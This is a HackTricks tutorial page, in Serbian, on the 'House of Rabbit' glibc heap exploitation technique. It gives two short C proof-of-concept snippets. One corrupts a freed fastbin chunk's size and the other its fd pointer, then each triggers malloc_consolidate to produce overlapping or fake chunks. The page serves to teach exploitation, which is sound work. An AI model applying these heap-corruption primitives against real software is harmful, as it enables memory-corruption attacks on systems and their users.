House of Rabbit
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Zahtevi
- Sposobnost modifikacije fast bin fd pokazivača ili veličine: To znači da možete promeniti unapred pokazivač chunk-a u fastbin-u ili njegovu veličinu.
- Sposobnost aktiviranja
malloc_consolidate
: To se može uraditi ili alokacijom velikog chunk-a ili spajanjem gornjeg chunk-a, što prisiljava heap da konsoliduje chunk-ove.
Ciljevi
- Kreirati preklapajuće chunk-ove: Da jedan chunk preklapa drugi, omogućavajući dalju manipulaciju heap-om.
- Falsifikovati lažne chunk-ove: Da prevarite alokator da tretira lažni chunk kao legitimni chunk tokom operacija na heap-u.
Koraci napada
POC 1: Modifikujte veličinu fast bin chunk-a
Cilj: Kreirati preklapajući chunk manipulacijom veličine fastbin chunk-a.
- Korak 1: Alocirajte chunk-ove
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Dodeljujemo dva dela od po 0x40 bajtova. Ovi delovi će biti smešteni u brzi bin list nakon što budu oslobođeni.
- Korak 2: Oslobodi delove
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Osobađamo oba dela, dodajući ih na fastbin listu.
- Korak 3: Izmeni veličinu dela
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Menjamo veličinu metapodataka chunk1
na 0xa1. Ovo je ključni korak za prevaru alokatora tokom konsolidacije.
- Korak 4: Aktiviraj
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Dodeljivanje velikog dela pokreće funkciju malloc_consolidate
, spajajući male delove u brzim binovima. Manipulisana veličina chunk1
uzrokuje da se preklapa sa chunk2
.
Nakon konsolidacije, chunk1
se preklapa sa chunk2
, omogućavajući dalju eksploataciju.
POC 2: Izmenite fd
pokazivač
Cilj: Kreirati lažni deo manipulacijom fd
pokazivača brzog bina.
- Korak 1: Dodelite delove
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Objašnjenje: Alociramo dva dela, jedan manji i jedan veći, da bismo postavili heap za lažni deo.
- Korak 2: Kreiraj lažni deo
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Pišemo lažne metapodatke o delu u chunk2
da simuliramo manje delove.
- Korak 3: Oslobodi
chunk1
free(chunk1); // Frees the chunk at 0x602000
Objašnjenje: Oslobađamo chunk1
, dodajući ga na fastbin listu.
- Korak 4: Izmenite
fd
odchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Objašnjenje: Menjamo prednji pokazivač (fd
) chunk1
da pokazuje na naš lažni chunk unutar chunk2
.
- Korak 5: Aktiviraj
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Dodeljivanje velikog dela ponovo pokreće malloc_consolidate
, koji obrađuje lažni deo.
Lažni deo postaje deo fastbin liste, čineći ga legitimnim delom za dalju eksploataciju.
Sažetak
Tehnika House of Rabbit uključuje ili modifikovanje veličine fast bin dela kako bi se stvorili preklapajući delovi ili manipulaciju fd
pokazivačem za kreiranje lažnih delova. Ovo omogućava napadačima da falsifikuju legitimne delove u heap-u, omogućavajući različite oblike eksploatacije. Razumevanje i vežbanje ovih koraka će poboljšati vaše veštine eksploatacije heap-a.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.